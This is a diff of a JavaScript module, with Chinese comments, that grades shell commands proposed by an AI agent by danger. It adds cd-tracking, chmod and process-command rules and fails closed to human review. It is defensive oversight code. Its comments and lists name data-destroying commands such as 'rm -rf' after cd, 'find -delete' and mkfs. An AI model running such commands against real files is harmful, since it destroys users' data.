if (t.text.startsWith('-') && t.text !== '-')
|
|
1040
|
+
continue;
|
|
1041
|
+
}
|
|
1042
|
+
if (!modeSeen) {
|
|
1043
|
+
modeSeen = true;
|
|
1044
|
+
continue;
|
|
1045
|
+
}
|
|
1046
|
+
paths.push(t);
|
|
1047
|
+
}
|
|
1048
|
+
if (paths.length === 0)
|
|
1049
|
+
return 'hard';
|
|
1050
|
+
for (const t of paths) {
|
|
1051
|
+
if (!checkDeleteTarget(t, isDeletableTarget, cwd))
|
|
1052
|
+
return 'hard';
|
|
1053
|
+
}
|
|
1054
|
+
return 'gray';
|
|
848
1055
|
}
|
|
849
1056
|
/**
|
|
850
1057
|
* find … -delete 段的起始路径提取与校验:跳过 find 前置全局选项(-H/-L/-P/-O/-D val),
|
|
851
1058
|
* 收集表达式(- 开头 / ( / !)之前的位置参数为起始路径;无起始路径按 find 默认的 `.`。
|
|
852
1059
|
* 删除发生在起始路径目录树内,按 globdir 语义交策略回调。
|
|
853
1060
|
*/
|
|
854
|
-
function checkFindDeleteTargets(seg, isDeletableTarget,
|
|
1061
|
+
function checkFindDeleteTargets(seg, isDeletableTarget, cwd) {
|
|
855
1062
|
const tokens = tokenizeSeg(seg);
|
|
856
1063
|
if (!tokens || tokens.length === 0)
|
|
857
1064
|
return 'hard';
|
|
@@ -873,20 +1080,27 @@ function checkFindDeleteTargets(seg, isDeletableTarget, cwdUnreliable) {
|
|
|
873
1080
|
for (const t of paths) {
|
|
874
1081
|
// 起始路径含通配符(find dist/* -delete):shell 已展开,逐个匹配项都是目录起点,
|
|
875
1082
|
// checkDeleteTarget 会按 globdir 退化到字面前缀目录,语义一致
|
|
876
|
-
|
|
877
|
-
|
|
878
|
-
|
|
879
|
-
|
|
1083
|
+
let ok;
|
|
1084
|
+
if (t.globIndex >= 0) {
|
|
1085
|
+
ok = checkDeleteTarget(t, isDeletableTarget, cwd);
|
|
1086
|
+
}
|
|
1087
|
+
else {
|
|
1088
|
+
const resolved = !t.hasExpansion && !!t.text && !t.text.startsWith('~') ? resolveAgainstCwd(t.text, cwd) : null;
|
|
1089
|
+
ok = resolved !== null && isDeletableTarget(resolved, 'globdir');
|
|
1090
|
+
}
|
|
880
1091
|
if (!ok)
|
|
881
1092
|
return 'hard';
|
|
882
1093
|
}
|
|
883
|
-
return '
|
|
1094
|
+
return 'gray';
|
|
884
1095
|
}
|
|
885
|
-
function classifyDangerousSeg(seg, isDeletableTarget,
|
|
1096
|
+
function classifyDangerousSeg(seg, isDeletableTarget, cwd) {
|
|
886
1097
|
const s = seg.trim();
|
|
887
1098
|
const first = s.split(/\s+/)[0] ?? '';
|
|
888
1099
|
if (HARD_DANGEROUS_COMMANDS.has(first) || first.startsWith('mkfs'))
|
|
889
1100
|
return 'hard';
|
|
1101
|
+
// 进程类不看参数:杀本机进程可逆,是否 agent 自启的服务由模型据轨迹判断
|
|
1102
|
+
if (PROCESS_COMMANDS.has(first))
|
|
1103
|
+
return 'gray';
|
|
890
1104
|
if (first === 'find') {
|
|
891
1105
|
if (FIND_HARD_ACTION_FLAGS.test(s) || classifyFindExecTargets(s) === 'dangerous')
|
|
892
1106
|
return 'hard';
|
|
@@ -894,26 +1108,32 @@ function classifyDangerousSeg(seg, isDeletableTarget, cwdUnreliable) {
|
|
|
894
1108
|
return 'none';
|
|
895
1109
|
if (REDIRECTION_RE.test(s))
|
|
896
1110
|
return 'hard';
|
|
897
|
-
return checkFindDeleteTargets(s, isDeletableTarget,
|
|
1111
|
+
return checkFindDeleteTargets(s, isDeletableTarget, cwd);
|
|
898
1112
|
}
|
|
1113
|
+
// 删除/chmod 命令夹带重定向属反常组合,不细分,fail-closed
|
|
899
1114
|
if (DELETE_COMMANDS.has(first)) {
|
|
900
|
-
// 删除命令夹带重定向属反常组合,不细分,fail-closed
|
|
901
1115
|
if (REDIRECTION_RE.test(s))
|
|
902
1116
|
return 'hard';
|
|
903
|
-
return checkDeleteOperands(s, isDeletableTarget,
|
|
1117
|
+
return checkDeleteOperands(s, isDeletableTarget, cwd);
|
|
1118
|
+
}
|
|
1119
|
+
if (first === 'chmod') {
|
|
1120
|
+
if (REDIRECTION_RE.test(s))
|
|
1121
|
+
return 'hard';
|
|
1122
|
+
return checkChmodOperands(s, isDeletableTarget, cwd);
|
|
904
1123
|
}
|
|
905
1124
|
return 'none';
|
|
906
1125
|
}
|
|
907
1126
|
/**
|
|
908
|
-
* 整条命令的危险分级:逐子命令取最严(任一 hard → hard;否则任一
|
|
1127
|
+
* 整条命令的危险分级:逐子命令取最严(任一 hard → hard;否则任一 gray → gray)。
|
|
909
1128
|
* 与 hasDangerousCommand 严格对齐:本函数返回 none 当且仅当 hasDangerousCommand 为 false,
|
|
910
1129
|
* 即分级只在「现状确定性转人工」的集合内部细分,绝不扩大放行面。
|
|
911
1130
|
*
|
|
912
|
-
*
|
|
913
|
-
*
|
|
1131
|
+
* 命令里的字面 cd(`cd /tmp && rm -rf x`、`cd packages/app && rm -rf dist`)按 && 语义静态跟踪,
|
|
1132
|
+
* 后续相对目标先拼上跟踪到的目录再交策略回调;无法跟踪(变量/~/pushd/`||`/管道/子 shell)
|
|
1133
|
+
* 时相对路径目标一律拒绝(绝对路径不受影响)。解析失败 fail-closed 判 hard。
|
|
914
1134
|
*
|
|
915
|
-
* @param isDeletableTarget
|
|
916
|
-
*
|
|
1135
|
+
* @param isDeletableTarget 路径策略回调:判定单个目标(已解析为字面路径)是否落在
|
|
1136
|
+
* 允许范围(由调用方定义,通常为项目内或系统临时目录,排除项目根自身与 .git)
|
|
917
1137
|
*/
|
|
918
1138
|
function classifyDangerousCommand(command, isDeletableTarget) {
|
|
919
1139
|
let segs;
|
|
@@ -923,17 +1143,14 @@ function classifyDangerousCommand(command, isDeletableTarget) {
|
|
|
923
1143
|
catch {
|
|
924
1144
|
return 'hard';
|
|
925
1145
|
}
|
|
926
|
-
const
|
|
927
|
-
const first = seg.trim().split(/\s+/)[0];
|
|
928
|
-
return first === 'cd' || first === 'pushd' || first === 'popd';
|
|
929
|
-
});
|
|
1146
|
+
const cwds = trackSegCwds(command, segs);
|
|
930
1147
|
let cls = 'none';
|
|
931
|
-
for (
|
|
932
|
-
const c = classifyDangerousSeg(
|
|
1148
|
+
for (let i = 0; i < segs.length; i++) {
|
|
1149
|
+
const c = classifyDangerousSeg(segs[i], isDeletableTarget, cwds[i] ?? null);
|
|
933
1150
|
if (c === 'hard')
|
|
934
1151
|
return 'hard';
|
|
935
|
-
if (c === '
|
|
936
|
-
cls = '
|
|
1152
|
+
if (c === 'gray')
|
|
1153
|
+
cls = 'gray';
|
|
937
1154
|
}
|
|
938
1155
|
return cls;
|
|
939
1156
|
}
|